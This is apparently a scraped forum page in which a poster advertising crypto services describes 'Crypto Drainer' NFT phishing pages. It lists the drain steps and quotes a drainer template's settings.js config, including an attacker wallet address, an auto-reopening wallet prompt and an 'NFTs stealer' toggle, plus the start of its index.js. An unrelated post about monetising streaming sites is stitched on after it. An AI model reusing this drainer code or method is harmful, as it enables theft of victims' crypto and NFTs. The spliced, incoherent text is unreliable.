HI Guys   
The honeyman1 team welcomes you . We specialize in it-crypto, our services include: development of crypto projects and all kinds of custom smart contracts
 
 

Our previous Thread provided an overview of Web3 phishing techniques and tactics. Today, we offer a deeper dive into a specific category of Web3 phishing pages called “Crypto Drainers” and one of the more prolific actors behind them. We will see how one Crypto Drainer template was responsible for over 2,000 ETH in losses in a short period of time.

 

Crypto Drainers are phishing pages that lure victims into signing malicious transactions that allow the attacker to siphon their crypto and NFTs. Typically these websites piggyback off of well known or emerging NFT projects. The websites themselves are primarily promoted via spam campaigns on social networks and Discord.

 

 

The way most crypto drainers work is relatively straight forward:

•  
• Fake NFT minting pages with an artificial countdown to create urgency.
   
• Victim connects their wallet to “mint”.
   
• Check if the victim address owns any valuable NFTs.
   
• Victim signs transaction(s) to transfer ownership of NFTs.
   
• Victim sends a transaction to the attacker for the cost of the fake “mint”, but this transaction is not a contract interaction.
   
• Rinse & repeat.

 

Let's look at our old example:

 

 

Here’s the real website for comparison:

 

 

When we look at the code under the hood of the malicious site, we find that the whole thing is templated and includes deployment instructions, but more on that later. For now, let’s take a peak at how this thing works.

 

First we have settings.js which acts as a config file. The comments are not ours, but part of the Crypto Drainer template

const address = "0x237f0A6c126F979cEd363079f7Cc0bB848e1802B";
const infuraId = "6d233bb428724900aa1d6ac6bba531b1"     // Infuria ID | https://infura.io/ | For Wallet Connect

const collectionInfo = {

    socialMedia: {

    },
    medias: {

        favicon: "logo.png",
    },
    background: {

        image: "background.jpg",    // Image for image type, video preview for video type
        video: "background.mp4",    // If you don't use video, you can ignore this line
        color: "#4E4E6D",           // If you don't use color, you can ignore this line
    }
}
const mintInfo = {
    price: 0.089,         // Price per NFT.
    totalSupply: 8888,   // Total supply of NFTs.
    minUnits: 1,        // Min units to buy.
    maxUnits: 10,        // Max units to buy.
    askMintLoop: true,  // If true, when the user closes the metamask popup, it reopens automatically.
}

const nftsInfo = {
    active: true,   // Active (true) or not (false) NFTs stealer.
    minValue: 0.1,  // Minimum value of the last transactions (in the last 'checkMaxDay' days) of the collection.
    checkMaxDay: 7, // Maximum number of days to check for the last transactions.
    receiveAddress: "" // leave empty if you want to use the same address 
}

/* 
    = = = = = END OF SETTINGS = = = = =
*/

//#region Check Configuration
if (mintInfo.minUnits > mintInfo.maxUnits) console.error(`Error: minUnits (${mintInfo.minUnits}) is greater than maxUnits (${maxUnits})`);
if (mintInfo.minUnits <= 0) console.error(`Error: minUnits (${mintInfo.minUnits}) is less than or equal to 0`);

if (!address.startsWith("0x") ||
    (
        address.length >= 64 ||
        address.length <= 40
    )
) console.error(`Error: ${address} is not a valid Ethereum address.`);

And then we have index.js which includes the code responsible for the actual draining:

const priceHtml = document.getElementById('lnprice');
let tempMaxSup = mintInfo.minUnits;

document.getElementById('plus').addEventListener('click', function () {

We are not going to look at the code line by line, but it is worth highlighting two sections. These we will talk about in the next part

My current contacts for our products and other issues: TG honeyman1

lets see

 

Original thread comes from BHW (OP is Futurex) but I think his journey worth sharing here. I've compiled all the useful notes here for yours and my convenience. Thinking of starting a journey on this and hoping anyone who has the experience and earned with this method could give a couple of tips/opinions.

Anyway here's the method:

Currently I have a few sites making $300 to $500 a day, with about 300k UV a day in total (I monetize the sites with 1 pop/user/24 hour only. It means the income can be higher if I add some CPA network into the sites, and the other reason for this low earning is because I only choose to have clean ads - which gives lower CPM than other ads) => This is to prove that this niche is not yet oversaturated

[Image: EFs7a5A.png?1]
As there're so many people getting interested in this niche, here I will review how a streaming site is built and promoted. (this is a review so you will understand how a movies site works, not a guide so I won’t go into details)
